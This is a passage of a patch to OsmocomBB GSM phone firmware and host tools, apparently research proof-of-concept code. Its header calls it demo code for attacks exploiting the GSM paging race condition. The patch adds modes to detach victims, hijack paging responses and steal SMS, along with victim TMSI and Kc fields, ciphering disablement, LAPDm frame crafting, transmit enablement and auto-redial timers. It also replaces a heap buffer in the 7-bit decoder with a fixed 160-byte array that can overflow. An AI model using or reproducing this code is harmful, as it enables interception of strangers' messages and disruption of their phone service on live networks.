+ static void timeout_dtmf(void *arg);
+ int mncc_answer(struct osmocom_ms *ms);
+
++extern struct osmo_timer_list tick_timer_hangup;
++extern struct osmo_timer_list tick_timer_call;
++extern int calls;
++
+ /*
+ * support functions
+ */
+@@ -366,15 +370,16 @@ int mncc_recv_mobile(struct osmocom_ms *ms, int msg_type, void *arg)
+ vty_notify(ms, NULL);
+ if (data->cause.value == GSM48_CC_CAUSE_CALL_REJECTED)
+ vty_notify(ms, "Call has been rejected\n");
+- else
+- vty_notify(ms, "Call has been released\n");
++ else {
++ vty_notify(ms, "Call %d has been released\n", calls);
++ }
+ LOGP(DMNCC, LOGL_INFO, "Call has been released (cause %d)\n",
+ data->cause.value);
+ free_call(call);
+ break;
+ case MNCC_CALL_PROC_IND:
+ vty_notify(ms, NULL);
+- vty_notify(ms, "Call is proceeding\n");
++ vty_notify(ms, "Call %d is proceeding\n", calls);
+ LOGP(DMNCC, LOGL_INFO, "Call is proceeding\n");
+ if ((data->fields & MNCC_F_BEARER_CAP)
+ && data->bearer_cap.speech_ver[0] >= 0) {
+diff --git a/src/host/layer23/src/mobile/vty_interface.c b/src/host/layer23/src/mobile/vty_interface.c
+index dc9e09d..bd58100 100644
+--- a/src/host/layer23/src/mobile/vty_interface.c
++++ b/src/host/layer23/src/mobile/vty_interface.c
+@@ -49,10 +49,18 @@ int mncc_answer(struct osmocom_ms *ms);
+ int mncc_hold(struct osmocom_ms *ms);
+ int mncc_retrieve(struct osmocom_ms *ms, int number);
+ int mncc_dtmf(struct osmocom_ms *ms, char *dtmf);
++void vty_notify(struct osmocom_ms *ms, const char *fmt, ...);
+
+ extern struct llist_head ms_list;
+ extern struct llist_head active_connections;
+
++struct osmo_timer_list tick_timer_hangup;
++struct osmo_timer_list tick_timer_call;
++unsigned int timer_step = 0;
++static char *call_nr;
++int calls = 0;
++static struct vty *call_vty;
++
+ struct cmd_node ms_node = {
+ MS_NODE,
+ "%s(ms)#",
+@@ -753,6 +761,26 @@ DEFUN(network_select, network_select_cmd,
+ return CMD_SUCCESS;
+ }
+
++void call_tmsi(void *data){
++ struct osmocom_ms *ms;
++ ms = get_ms("1", call_vty);
++
++ if(calls == 0){
++ return;
++ }
++ vty_notify(ms, "new call");
++ mncc_call(ms, call_nr);
++ calls++;
++}
++
++void call_hangup(void *data){
++ struct osmocom_ms *ms;
++
++ ms = get_ms("1", call_vty);
++ vty_notify(ms, "hangup call");
++ gsm48_mm_release_mm_conn(ms, 1, 16, 0, 0);
++}
++
+ DEFUN(call, call_cmd, "call MS_NAME (NUMBER|emergency|answer|hangup|hold)",
+ "Make a call\nName of MS (see \"show ms\")\nPhone number to call "
+ "(Use digits '0123456789*#abc', and '+' to dial international)\n"
+@@ -764,6 +792,8 @@ DEFUN(call, call_cmd, "call MS_NAME (NUMBER|emergency|answer|hangup|hold)",
+ struct gsm_settings_abbrev *abbrev;
+ char *number;
+
++ calls = 0;
++
+ ms = get_ms(argv[0], vty);
+ if (!ms)
+ return CMD_WARNING;
+@@ -776,12 +806,17 @@ DEFUN(call, call_cmd, "call MS_NAME (NUMBER|emergency|answer|hangup|hold)",
+ }
+
+ number = (char *)argv[1];
++
+ if (!strcmp(number, "emergency"))
+ mncc_call(ms, number);
+ else if (!strcmp(number, "answer"))
+ mncc_answer(ms);
+ else if (!strcmp(number, "hangup"))
+ mncc_hangup(ms);
++ else if (!strcmp(number, "kill")){
++ calls = 0;
++ mncc_hangup(ms);
++ }
+ else if (!strcmp(number, "hold"))
+ mncc_hold(ms);
+ else {
+@@ -795,7 +830,17 @@ DEFUN(call, call_cmd, "call MS_NAME (NUMBER|emergency|answer|hangup|hold)",
+ }
+ if (vty_check_number(vty, number))
+ return CMD_WARNING;
++
++ if(calls == 0){
++ tick_timer_hangup.cb = &call_hangup;
++ tick_timer_hangup.data = &timer_step;
++ tick_timer_call.cb = &call_tmsi;
++ tick_timer_call.data = &timer_step;
++ call_nr = strdup(number);
++ call_vty = vty;
++ }
+ mncc_call(ms, number);
++ calls++;
+ }
+
+ return CMD_SUCCESS;
+diff --git a/src/host/osmocon/osmocon.c b/src/host/osmocon/osmocon.c
+index 66f2462..0268086 100644
+--- a/src/host/osmocon/osmocon.c
++++ b/src/host/osmocon/osmocon.c
+@@ -44,6 +44,7 @@
+ #include <osmocom/core/serial.h>
+ #include <osmocom/core/talloc.h>
+ #include <osmocom/core/timer.h>
++#include <time.h>
+
+ #include <arpa/inet.h>
+
+@@ -160,6 +161,7 @@ struct dnload {
+ int block_count;
+ int echo_bytecount;
+
++ struct tool_server tmsi_server;
+ struct tool_server layer2_server;
+ struct tool_server loader_server;
+ };
+@@ -717,6 +719,18 @@ static void hdlc_send_to_phone(uint8_t dlci, uint8_t *data, int len)
+
+ static void hdlc_console_cb(uint8_t dlci, struct msgb *msg)
+ {
++ char buf[40];
++ struct timeval tv;
++ struct tm *ptm;
++ long ms;
++
++ gettimeofday(&tv, NULL);
++ ptm = localtime(&tv.tv_sec);
++ strftime(buf, sizeof(buf), "%Y-%m-%d %H:%M:%S", ptm);
++
++ ms = tv.tv_usec / 1000;
++ printf("%s.%03ld: ", buf, ms);
++ fflush(stdout);
+ write(1, msg->data, msg->len);
+ msgb_free(msg);
+ }
+@@ -1192,6 +1206,7 @@ static int parse_mode(const char *arg)
+ "[ -v | -h ] [ -d [t][r] ] [ -p /dev/ttyXXXX ]\n" \
+ "\t\t [ -s /tmp/osmocom_l2 ]\n" \
+ "\t\t [ -l /tmp/osmocom_loader ]\n" \
++ "\t\t [ -t /tmp/osmocom_mi ]\n" \
+ "\t\t [ -m {c123,c123xor,c140,c140xor,c155,romload,mtk} ]\n" \
+ "\t\t [ -c /to-be-chainloaded-file.bin ]\n" \
+ "\t\t [ -i beacon-interval (mS) ]\n" \
+@@ -1400,6 +1415,7 @@ int main(int argc, char **argv)
+ uint32_t tmp_load_address = ROMLOAD_ADDRESS;
+ const char *serial_dev = "/dev/ttyUSB1";
+ const char *layer2_un_path = "/tmp/osmocom_l2";
++ const char *tmsi_un_path = "/tmp/osmocom_mi";
+ const char *loader_un_path = "/tmp/osmocom_loader";
+
+ dnload.mode = MODE_C123;
+@@ -1407,7 +1423,7 @@ int main(int argc, char **argv)
+ dnload.previous_filename = NULL;
+ dnload.beacon_interval = DEFAULT_BEACON_INTERVAL;
+
+- while ((opt = getopt(argc, argv, "d:hl:p:m:c:s:i:v")) != -1) {
++ while ((opt = getopt(argc, argv, "d:hl:p:m:c:s:t:i:v")) != -1) {
+ switch (opt) {
+ case 'p':
+ serial_dev = optarg;
+@@ -1417,6 +1433,9 @@ int main(int argc, char **argv)
+ if (dnload.mode == MODE_INVALID)
+ usage(argv[0]);
+ break;
++ case 't':
++ tmsi_un_path = optarg;
++ break;
+ case 's':
+ layer2_un_path = optarg;
+ break;
+@@ -1477,6 +1496,10 @@ int main(int argc, char **argv)
+ SC_DLCI_L1A_L23) != 0)
+ exit(1);
+
++ if (register_tool_server(&dnload.tmsi_server, tmsi_un_path,
++ SC_DLCI_TMSI) != 0)
++ exit(1);
++
+ if (register_tool_server(&dnload.loader_server, loader_un_path,
+ SC_DLCI_LOADER) != 0)
+ exit(1);
+diff --git a/src/shared/libosmocore/src/gsm/gsm_utils.c b/src/shared/libosmocore/src/gsm/gsm_utils.c
+index 8d072a1..06a2be6 100644
+--- a/src/shared/libosmocore/src/gsm/gsm_utils.c
++++ b/src/shared/libosmocore/src/gsm/gsm_utils.c
+@@ -128,7 +128,7 @@ int gsm_7bit_decode_hdr(char *text, const uint8_t *user_data, uint8_t septet_l,
+ int i = 0;
+ int shift = 0;
+
+- uint8_t *rtext = calloc(septet_l, sizeof(uint8_t));
++ uint8_t rtext[160];
+ uint8_t tmp;
+
+ /* skip the user data header */
+@@ -163,7 +163,6 @@ int gsm_7bit_decode_hdr(char *text, const uint8_t *user_data, uint8_t septet_l,
+ if (ud_hdr_ind)
+ i += shift;
+ *text = '\0';
+- free(rtext);
+
+ return i;
+ }
+diff --git a/src/target/firmware/Makefile b/src/target/firmware/Makefile
+index a71eef6..c3d569c 100644
+--- a/src/target/firmware/Makefile
++++ b/src/target/firmware/Makefile
+@@ -99,7 +99,7 @@ ANY_APP_LIBS+=calypso/libcalypso.a layer1/liblayer1.a lib/libmini.a comm/libcomm
+ -include Makefile.inc
+
+ # Uncomment this line if you want to enable Tx (Transmit) Support.
+-#CFLAGS += -DCONFIG_TX_ENABLE
++CFLAGS += -DCONFIG_TX_ENABLE
+
+ # Uncomment this line if you want to write to flash.
+ #CFLAGS += -DCONFIG_FLASH_WRITE
+diff --git a/src/target/firmware/apps/rssi/main.c b/src/target/firmware/apps/rssi/main.c
+index 7d10e1c..de869b9 100644
+--- a/src/target/firmware/apps/rssi/main.c
++++ b/src/target/firmware/apps/rssi/main.c
+@@ -1,6 +1,7 @@
+-/* Cell Monitor of Free Software for Calypso Phone */
+-
+-/* (C) 2012 by Andreas Eversberg <jolly@eversberg.eu>
++/* (C) 2012 by Andreas Eversberg <jolly@eversberg.eu> (original RSSI code)
++ * (C) 2012-2013 by Nico Golde <nico@sec.t-labs.tu-berlin.de>
++ * demo code for attacks exploiting the race condition in GSM paging
++ * originally based on rssi application by Andreas Eversberg
+ *
+ * All Rights Reserved
+ *
+@@ -22,6 +23,7 @@
+
+ #include <stdint.h>
+ #include <stdio.h>
++#include <stdlib.h>
+ #include <string.h>
+ #include <errno.h>
+
+@@ -38,9 +40,9 @@
+ #include <calypso/tpu.h>
+ #include <calypso/tsp.h>
+ #include <calypso/dsp.h>
++#include <battery/battery.h>
+ #include <calypso/irq.h>
+ #include <calypso/misc.h>
+-#include <calypso/buzzer.h>
+ #include <comm/sercomm.h>
+ #include <comm/timer.h>
+ #include <fb/framebuffer.h>
+@@ -49,15 +51,25 @@
+ #include <layer1/l23_api.h>
+ #include <osmocom/gsm/rsl.h>
+ #include <osmocom/gsm/protocol/gsm_04_08.h>
++#include <osmocom/gsm/protocol/gsm_04_11.h>
+ #include <osmocom/gsm/gsm48_ie.h>
+-#include <battery/battery.h>
++#include <osmocom/gsm/gsm48.h>
++
+
++/*
++#define printf(x, ...) 0
++*/
+ enum key_codes key_code = KEY_INV;
+ int key_pressed = 0;
+ enum key_codes key_pressed_code;
+ unsigned long key_pressed_when;
+ unsigned int key_pressed_delay;
+
++
++#define GSM_CIPHER_A5_1 1
++#define GSM_CIPHER_A5_2 2
++#define GSM_CIPHER_A5_3 3
++
+ enum mode {
+ MODE_MAIN,
+ MODE_SPECTRUM,
+@@ -67,7 +79,23 @@ enum mode {
+ } mode = MODE_MAIN;
+ enum mode last_mode; /* where to return after entering ARFCN */
+
+-static uint16_t arfcn = 0, ul_arfcn;
++enum attack_mode {
++ MODE_DETACH,
++ MODE_PAGING,
++ MODE_RANGE_PAGING,
++ MODE_ALL_PAGING,
++ MODE_STEAL_SMS,
++ MODE_NONE
++} attack_mode = MODE_NONE;
++
++enum cipher_mode {
++ CIPHER_NONE,
++ CIPHER_ACTIVE
++} cipher_mode = CIPHER_NONE;
++
++uint8_t key_seq = 0;
++
++static uint16_t arfcn = 549, ul_arfcn;
+ int pcs = 0;
+ int uplink = 0;
+ int max = 0;
+@@ -75,6 +103,8 @@ uint8_t power, max_power;
+ char input[5];
+ int cursor;
+
++
++uint8_t timing_advance;
+ char *sync_result = NULL;
+ char *sync_msg = "";
+
+@@ -89,6 +119,12 @@ static struct band {
+
+ struct band *band;
+
++uint8_t victim_tmsi[] = "\xff\xff\xff\xff";
++uint8_t kc[] = "\xff\xff\xff\xff\xff\xff\xff\xff";
++int tmsi_range_min = -1;
++int tmsi_range_max = -1;
++int foo=0;
++
+ #define PCS_MIN 512
+ #define PCS_MAX 810
+ #define DCS_MIN 512
+@@ -96,6 +132,16 @@ struct band *band;
+ #define PCS_UL 18502
+ #define PCS_DL 19302
+
++#define L3_ALLOC_SIZE 256
++#define L3_ALLOC_HEADROOM 64
++
++enum sms_mode {
++ SMS_CP_DATA,
++ SMS_CP_ACK,
++ SMS_RP_ACK,
++ SMS_NONE
++};
++
+ enum pm_mode {
+ PM_IDLE,
+ PM_SENT,
+@@ -112,10 +158,6 @@ int pm_max = 2;
+ uint8_t pm_spectrum[1024];
+ int pm_scale = 1; /* scale measured power level */
+
+-#define TONE_JIFFIES ((HZ < 25) ? 1 : HZ / 25)
+-int tone = 0;
+-unsigned long tone_time;
+-int tone_on = 0;
+
+ uint8_t bsic;
+ uint8_t ul_levels[8], ul_max[8]; /* 8 uplink levels */
+@@ -127,7 +169,7 @@ uint8_t si_3[23];
+ uint8_t si_4[23];
+ uint16_t si_new = 0, ul_new;
+ uint16_t mcc, mnc, lac, cell_id;
+-int ccch_conf;
++int ccch_conf = -1;
+ int nb_num;
+ struct gsm_sysinfo_freq freq[1024];
+ #define NEIGH_LINES ((framebuffer->height - 25) / 8)
+@@ -138,12 +180,89 @@ struct gsm_sysinfo_freq freq[1024];
+ #define FREQ_TYPE_NCELL_2bis 0x08 /* sub channel of SI 2bis */
+ #define FREQ_TYPE_NCELL_2ter 0x10 /* sub channel of SI 2ter */
+
++#define LAPDm_ADDR(lpd, sapi, cr) ((((lpd) & 0x3) << 5) | (((sapi) & 0x7) << 2) | (((cr) & 0x1) << 1) | 0x1)
++#define LAPDm_CTRL_U(u, p) ((((u) & 0x1c) << (5-2)) | (((p) & 0x1) << 4) | (((u) & 0x3) << 2) | 0x3)
++#define LAPDm_LEN(len) ((len << 2) | 0x1)
++#define LAPDm_CTRL_S(nr, s, p) ((((nr) & 0x7) << 5) | (((p) & 0x1) << 4) | (((s) & 0x3) << 2) | 0x1)
++#define LAPDm_CTRL_I(nr, ns, p) ((((nr) & 0x7) << 5) | (((p) & 0x1) << 4) | (((ns) & 0x7) << 1))
++
++#define LAPDm_CTRL_is_I(ctrl) (((ctrl) & 0x1) == 0)
++#define LAPDm_CTRL_is_S(ctrl) (((ctrl) & 0x3) == 1)
++#define LAPDm_CTRL_is_U(ctrl) (((ctrl) & 0x3) == 3)
++
++#define LAPDm_CTRL_U_BITS(ctrl) ((((ctrl) & 0xC) >> 2) | ((ctrl) & 0xE0) >> 3)
++#define LAPDm_CTRL_PF_BIT(ctrl) (((ctrl) >> 4) & 0x1)
++
++#define LAPDm_CTRL_S_BITS(ctrl) (((ctrl) & 0xC) >> 2)
++
++#define LAPDm_CTRL_I_Ns(ctrl) (((ctrl) & 0xE) >> 1)
++#define LAPDm_CTRL_Nr(ctrl) (((ctrl) & 0xE0) >> 5)
++
++#define LAPDm_ADDR_SAPI(addr) (((addr) >> 2) & 0x7)
++#define LAPDm_ADDR_CR(addr) (((addr) >> 1) & 0x1)
++#define LAPDm_ADDR_EA(addr) ((addr) & 0x1)
++
++
++/* TS 04.06 Table 4 / Section 3.8.1 */
++#define LAPDm_U_SABM 0x7
++#define LAPDm_U_DM 0x3
++#define LAPDm_U_UI 0x0
++#define LAPDm_U_DISC 0x8
++#define LAPDm_U_UA 0xC
++
++#define LAPDm_S_RR 0x0
++#define LAPDm_S_RNR 0x1
++#define LAPDm_S_REJ 0x2
++
++#define LAPD_S_RR 0x0
++#define LAPD_S_RNR 0x1
++#define LAPD_S_REJ 0x2
++
++#define LAPDm_LPD_NORMAL 0
++
++#define CR_MS2BS_CMD 0
++#define CR_MS2BS_RESP 1
++
++#define LAPD_U_SABM 0x7
++#define LAPD_U_SABME 0xf
++#define LAPD_U_DM 0x3
++#define LAPD_U_UI 0x0
++#define LAPD_U_DISC 0x8
++#define LAPD_U_UA 0xC
++#define LAPD_U_FRMR 0x11
++
++#define LAPDm_SAPI_0 0x0
++#define LAPDm_SAPI_3 0x3
++
++struct _lapd_state {
++ uint8_t v_recv;
++ uint8_t v_send;
++ uint8_t v_ack;
++ uint8_t sapi;
++ uint8_t active;
++ uint8_t ui_count;
++ uint8_t ciph_count;
++} lapd_state;
++
++struct _sms_state {
++ uint8_t cp_user_length;
++ uint8_t rp_data_length;
++ uint8_t sms_mode;
++ int skip;
++ char text[256];
++} sms_state;
++
++
+ int rach = 0;
+ struct gsm48_req_ref rach_ref;
+ uint8_t rach_ra;
+ unsigned long rach_when;
++unsigned long last_net_frame;
+ uint8_t ta;
+
++uint8_t v_r;
++uint8_t v_a;
++
+ enum assign {
+ ASSIGN_NONE,
+ ASSIGN_NO_TX,
+@@ -152,7 +271,10 @@ enum assign {
+ ASSIGN_TIMEOUT,
+ } assign;
+
++struct llist_head mi_queue;
++
+ /* UI */
++static int tmsi_match(uint8_t *mi, uint8_t *tmsi);
+
+ static void print_display(char *text, int *y, int c)
+ {
+@@ -168,10 +290,40 @@ static void print_display(char *text, int *y, int c)
+ fb_putstr(text, framebuffer->width);
+ }
+
++static void init_lapdm(void){
++ memset(&lapd_state, 0, sizeof(lapd_state));
++ memset(&sms_state, 0, sizeof(sms_state));
++ sms_state.skip = -1;
++ lapd_state.active = 1;
++}
++
++static inline uint8_t inc_mod(uint8_t x, uint8_t m){
++ return (x + 1) & (m - 1);
++}
++
++static void enter_sync(void);
++static void exit_sync(void);
++static void disable_ciphering(void);
++static void toggle_dcs_pcs(void);
++
++static void reenter_sync(void){
++ if(attack_mode == MODE_STEAL_SMS){
++ disable_ciphering();
++ }
++ exit_sync();
++ /* why do we need this, what is the problem if we dont switch the arfcn? */
++ toggle_dcs_pcs();
++ enter_sync();
++}
++
++static void update_net_frame(void){
++ last_net_frame = jiffies;
++}
++
+ static void refresh_display(void)
+ {
+ char text[16];
+- int bat = battery_info.battery_percent;
++ int bat = 100;
+
+ fb_clear();
+
+@@ -181,12 +333,23 @@ static void refresh_display(void)
+ fb_setfg(FB_COLOR_BLUE);
+ fb_setfont(FB_FONT_HELVR08);
+ fb_gotoxy(0, 7);
+- fb_putstr("Osmocom RSSI", -1);
++ if(attack_mode == MODE_DETACH){
++ fb_putstr(" [D]PAGFuN", -1);
++ } else if (attack_mode == MODE_STEAL_SMS) {
++ fb_putstr(" [SM]PAGFuN", -1);
++ } else if (attack_mode == MODE_PAGING) {
++ fb_putstr(" [P]PAGFuN", -1);
++ } else if (attack_mode == MODE_RANGE_PAGING) {
++ fb_putstr(" [RP]PAGFuN", -1);
++ } else if (attack_mode == MODE_ALL_PAGING) {
++ fb_putstr(" [AP]PAGFuN", -1);
++ } else {
++ fb_putstr(" [N]PAGFuN", -1);
++ }
+ fb_setfg(FB_COLOR_RGB(0xc0, 0xc0, 0x00));
+ fb_setfont(FB_FONT_SYMBOLS);
+ fb_gotoxy(framebuffer->width - 15, 8);
+- if (bat >= 100 && (battery_info.flags & BATTERY_CHG_ENABLED)
+- && !(battery_info.flags & BATTERY_CHARGING))
++ if (bat >= 100)
+ fb_putstr("@HHBC", framebuffer->width);
+ else {
+ sprintf(text, "@%c%c%cC", (bat >= 30) ? 'B':'A',
+@@ -294,46 +457,50 @@ static void refresh_display(void)
+ /* SYNC / SI */
+ if (mode == MODE_SYNC && cursor == 0) {
+ fb_gotoxy(0, 20);
+- if (sync_msg[0] == 'o')
+- sprintf(text, "BSIC%d/%d %4d", bsic >> 3, bsic & 7,
+- power - 110);
+- else
+- sprintf(text, "Sync %s", sync_msg);
+- fb_putstr(text, -1);
+-
+- fb_gotoxy(0,28);
+- text[0] = si_1[2] ? '1' : '-';
+- text[1] = ' ';
+- text[2] = si_2[2] ? '2' : '-';
+- text[3] = ' ';
+- text[4] = si_2bis[2] ? '2' : '-';
+- text[5] = si_2bis[2] ? 'b' : ' ';
+- text[6] = si_2ter[2] ? '2' : '-';
+- text[7] = si_2ter[2] ? 't' : ' ';
+- text[8] = ' ';
+- text[9] = si_3[2] ? '3' : '-';
+- text[10] = ' ';
+- text[11] = si_4[2] ? '4' : '-';
+- text[12] = '\0';
+- fb_putstr(text, -1);
+-
+- fb_gotoxy(0, 36);
+- fb_putstr("MCC MNC LAC ", -1);
+- fb_gotoxy(0, 44);
+- if (mcc) {
+- if ((mnc & 0x00f) == 0x00f)
+- sprintf(text, "%3x %02x %04x", mcc, mnc >> 4, lac);
++ if(sms_state.text[0] != 0){
++ fb_putstr(sms_state.text, -1);
++ } else {
++ if (sync_msg[0] == 'o')
++ sprintf(text, "BSIC%d/%d %4d", bsic >> 3, bsic & 7,
++ power - 110);
+ else
+- sprintf(text, "%3x %03x %04x", mcc, mnc, lac);
++ sprintf(text, "Sync %s", sync_msg);
+ fb_putstr(text, -1);
+- } else
+- fb_putstr("--- --- ----", -1);
+- fb_gotoxy(0, 52);
+- if (si_3[2]) {
+- sprintf(text, "cell id:%04x", cell_id);
++
++ fb_gotoxy(0,28);
++ text[0] = si_1[2] ? '1' : '-';
++ text[1] = ' ';
++ text[2] = si_2[2] ? '2' : '-';
++ text[3] = ' ';
++ text[4] = si_2bis[2] ? '2' : '-';
++ text[5] = si_2bis[2] ? 'b' : ' ';
++ text[6] = si_2ter[2] ? '2' : '-';
++ text[7] = si_2ter[2] ? 't' : ' ';
++ text[8] = ' ';
++ text[9] = si_3[2] ? '3' : '-';
++ text[10] = ' ';
++ text[11] = si_4[2] ? '4' : '-';
++ text[12] = '\0';
+ fb_putstr(text, -1);
+- } else
+- fb_putstr("cell id:----", -1);
++
++ fb_gotoxy(0, 36);
++ fb_putstr("MCC MNC LAC ", -1);
++ fb_gotoxy(0, 44);
++ if (mcc) {
++ if ((mnc & 0x00f) == 0x00f)
++ sprintf(text, "%3x %02x %04x", mcc, mnc >> 4, lac);
++ else
++ sprintf(text, "%3x %03x %04x", mcc, mnc, lac);
++ fb_putstr(text, -1);
++ } else
++ fb_putstr("--- --- ----", -1);
++ fb_gotoxy(0, 52);
++ if (si_3[2]) {
++ sprintf(text, "cell id:%04x", cell_id);
++ fb_putstr(text, -1);
++ } else
++ fb_putstr("cell id:----", -1);
++ }
+ }
+
+ /* SYNC / neighbour cells */
+@@ -434,66 +601,6 @@ static void refresh_display(void)
+ fb_setbg(FB_COLOR_WHITE);
+ }
+
+- /* spectrum */
+- if (mode == MODE_SPECTRUM) {
+- int i;
+- uint16_t a, e, p;
+- int height = framebuffer->height - 25;
+-
+- fb_gotoxy(0, 8);
+- if (pcs && arfcn >= PCS_MIN && arfcn <= PCS_MAX)
+- sprintf(text, "%4dP", arfcn);
+- else if (arfcn >= DCS_MIN && arfcn <= DCS_MAX)
+- sprintf(text, "%4dD", arfcn);
+- else
+- sprintf(text, "%4d ", arfcn);
+- sprintf(text + 5, " %4d", pm_spectrum[arfcn & 1023] - 110);
+- fb_putstr(text, -1);
+- fb_setfg(FB_COLOR_RED);
+- if (max) {
+- fb_setfont(FB_FONT_HELVR08);
+- fb_gotoxy(framebuffer->width - 16,15);
+- fb_putstr("max", framebuffer->width);
+- fb_setfont(FB_FONT_C64);
+- }
+- if (pm_scale != 1) {
+- fb_setfont(FB_FONT_HELVR08);
+- fb_gotoxy(1, 15);
+- sprintf(text, "x%d", pm_scale);
+- fb_putstr(text, framebuffer->width);
+- fb_setfont(FB_FONT_C64);
+- }
+- fb_setfg(FB_COLOR_BLACK);
+- if (pcs && arfcn >= PCS_MIN && arfcn <= PCS_MAX) {
+- a = PCS_MIN;
+- e = PCS_MAX;
+- } else {
+- a = band->min;
+- e = band->max;
+- }
+- for (i = 0; i < framebuffer->width; i++) {
+- p = (arfcn + i - (framebuffer->width >> 1)) & 1023;
+- if ((((p - a) & 1023) & 512))
+- continue;
+- if ((((e - p) & 1023) & 512))
+- continue;
+- p = (pm_spectrum[p] * pm_scale * height / 64);
+- if (p > height)
+- p = height;
+- if (i == (framebuffer->width >> 1))
+- fb_setfg(FB_COLOR_RED);
+- fb_gotoxy(i, height + 10 - p);
+- fb_boxto(i, height + 10);
+- if (i == (framebuffer->width >> 1))
+- fb_setfg(FB_COLOR_BLACK);
+- }
+- i = framebuffer->width >> 1;
+- fb_gotoxy(i, 0);
+- fb_boxto(i, 4);
+- fb_gotoxy(i, height + 10);
+- fb_boxto(i, height + 14);
+- }
+-
+ /* footer */
+ fb_setfg(FB_COLOR_GREEN);
+ fb_gotoxy(0, framebuffer->height - 10);
+@@ -515,8 +622,7 @@ static void refresh_display(void)
+ fb_setfg(FB_COLOR_BLACK);
+ fb_setfont(FB_FONT_HELVR08);
+ fb_gotoxy(0, framebuffer->height - 2);
+- sprintf(text, "%d", tone / 25);
+- fb_putstr(text, -1);
++ /*fb_putstr(text, -1);*/
+
+ fb_flush();
+ }
+@@ -650,6 +756,16 @@ static int inc_dec_arfcn(int inc)
+
+ static void request_ul_levels(uint16_t a);
+
++static void toggle_up_down(void)
++{
++ uplink = !uplink;
++ refresh_display();
++
++ if (mode == MODE_SYNC && cursor < 0)
++ request_ul_levels(ul_arfcn);
++}
++
++
+ static int inc_dec_ul_arfcn(int inc)
+ {
+ uint16_t a;
+@@ -677,53 +793,54 @@ static int inc_dec_ul_arfcn(int inc)
+ return 0;
+ }
+
+-static void toggle_dcs_pcs(void)
+-{
+- pcs = !pcs;
+- refresh_display();
+-}
+-
+-static void toggle_up_down(void)
+-{
+- uplink = !uplink;
+- refresh_display();
+-
+- if (mode == MODE_SYNC && cursor < 0)
+- request_ul_levels(ul_arfcn);
+-}
+-
+-static void toggle_spectrum(void)
+-{
+- if (mode == MODE_MAIN) {
+- mode = MODE_SPECTRUM;
+- pm_mode = PM_IDLE;
+- } else if (mode == MODE_SPECTRUM) {
+- mode = MODE_MAIN;
+- pm_mode = PM_IDLE;
+- }
+- l1s_reset();
+- l1s_reset_hw();
+- pm_count = 0;
+- refresh_display();
+-}
+-
+-static void tone_inc_dec(int inc)
+-{
+- if (inc) {
+- if (tone + 25 <= 255)
+- tone += 25;
++/* yes this code is fugly, excuse me ;)
++ also it assumes that sms consist of two lapdm frames.
++ so a message longer will actually cause this code to burp.
++ it probably also makes other assumptions about the decoding, it's just a PoC
++*/
++static void decode_dspl_sms(uint8_t *msg, uint8_t msg_len){
++ /* dummy for now, we would have to reassemble frames to do this properly */
++ uint8_t *ptr = msg;
++ uint8_t len = 0;
++
++ memset(sms_state.text, 0, sizeof(sms_state.text));
++ printf("SMS PAYLOAD: %s\n", osmo_hexdump(msg, msg_len));
++
++ printf("\ndecode_dspl_sms with SKIP: %d\n\n", sms_state.skip);
++
++ if(sms_state.skip == -1){
++ ptr += 3 + 1 + 1; /* lapdm header, proto discr, msg type, cp-user-data */
++ sms_state.cp_user_length = *ptr++; /* read cp-data length and skip length byte */
++ /* printf("\n\nsms cp user length %x\n\n", sms_state.cp_user_length); */
++ ptr += 1 + 1; /* skip msg type rp-data, msg ref */
++ len = *ptr; /* get orig address length */
++ /* printf("\n\nsms orig address length: %x\n", len); */
++ ptr += 1 + len; /* len byte, actual len */
++ ptr += 1; /* skip rp-dest address */
++
++ /* printf("\n\n sms rp user-data length %x\n\n", *ptr); */
++ ptr += 1; /* skip user-data-length */
++ ptr += 1; /* skip sms header type byte */
++ len = *ptr; /* orig address length */
++ /* printf("sms orig addr length %x\n", len); */
++
++ sms_state.skip = (((len + 1)/2) + 1) - (msg_len - (ptr - msg) - 1);
++ /* printf("len: %d, msg_len: %d, skip: %d\n", len, msg_len, sms_state.skip); */
+ } else {
+- if (tone - 25 >= 0)
+- tone -= 25;
++ /* printf("skipping %d of %s\n", sms_state.skip, osmo_hexdump(msg, msg_len)); */
++ ptr += sms_state.skip + 3; /* skip remaining length + l2 header */
++ ptr += 1 + 1 + 7; /* tp-pid, tp-dcs, service center timestamp */
++ len = *ptr; /* tp-user-data length */
++ ptr += 1; /* skip length */
++
++ gsm_7bit_decode(sms_state.text, ptr, len);
++ printf("\nDECODED SMS: %s\n", sms_state.text);
+ }
+-
+- refresh_display();
+ }
+
+-static void hold_max(void)
++static void toggle_dcs_pcs(void)
+ {
+- max = !max;
+- max_power = power;
++ pcs = !pcs;
+ refresh_display();
+ }
+
+@@ -744,28 +861,91 @@ static int inc_dec_neighbour(int inc)
+ return 0;
+ }
+
+-static int inc_dec_spectrum(int inc)
+-{
+- if (inc) {
+- pm_scale <<= 1;
+- if (pm_scale > 8)
+- pm_scale = 8;
+- } else {
+- pm_scale >>= 1;
+- if (pm_scale < 1)
+- pm_scale = 1;
+- }
+-
+- refresh_display();
+-
+- return 0;
+-}
++static int tx_chan_req(void);
+
+ static void enter_sync(void);
+ static void exit_sync(void);
+
+ static void enter_rach(void);
+ static void exit_rach(void);
++static int tx_meas_rep(uint8_t chan_nr, uint8_t tx_power, uint8_t timing_advance);
++uint8_t current_chan;
++
++static void handle_pm(void)
++{
++ /* start power measurement */
++ if (pm_mode == PM_IDLE && (mode == MODE_MAIN || mode == MODE_SPECTRUM)) {
++ struct msgb *msg = l1ctl_msgb_alloc(L1CTL_PM_REQ);
++ struct l1ctl_pm_req *pm;
++ uint16_t a, e;
++
++ pm = (struct l1ctl_pm_req *) msgb_put(msg, sizeof(*pm));
++ pm->type = 1;
++ if (mode == MODE_MAIN) {
++ a = arfcn;
++ if (pcs && arfcn >= PCS_MIN && arfcn <= PCS_MAX)
++ a |= ARFCN_PCS;
++ if (uplink)
++ a |= ARFCN_UPLINK;
++ e = a;
++ pm_mode = PM_SENT;
++ }
++ if (mode == MODE_SPECTRUM) {
++ if (pcs && arfcn >= PCS_MIN && arfcn <= PCS_MAX) {
++ a = PCS_MIN | ARFCN_PCS;
++ e = PCS_MAX | ARFCN_PCS;
++ } else {
++ a = band->min;
++ e = band->max;
++ }
++ pm_mode = PM_RANGE_SENT;
++ }
++ if (uplink) {
++ a |= ARFCN_UPLINK;
++ e |= ARFCN_UPLINK;
++ }
++ pm->range.band_arfcn_from = htons(a);
++ pm->range.band_arfcn_to = htons(e);
++
++ l1a_l23_rx(SC_DLCI_L1A_L23, msg);
++
++ return;
++ }
++
++ if (pm_mode == PM_RESULT) {
++ pm_mode = PM_IDLE;
++ if (pm_count == pm_max) {
++ int i = 0;
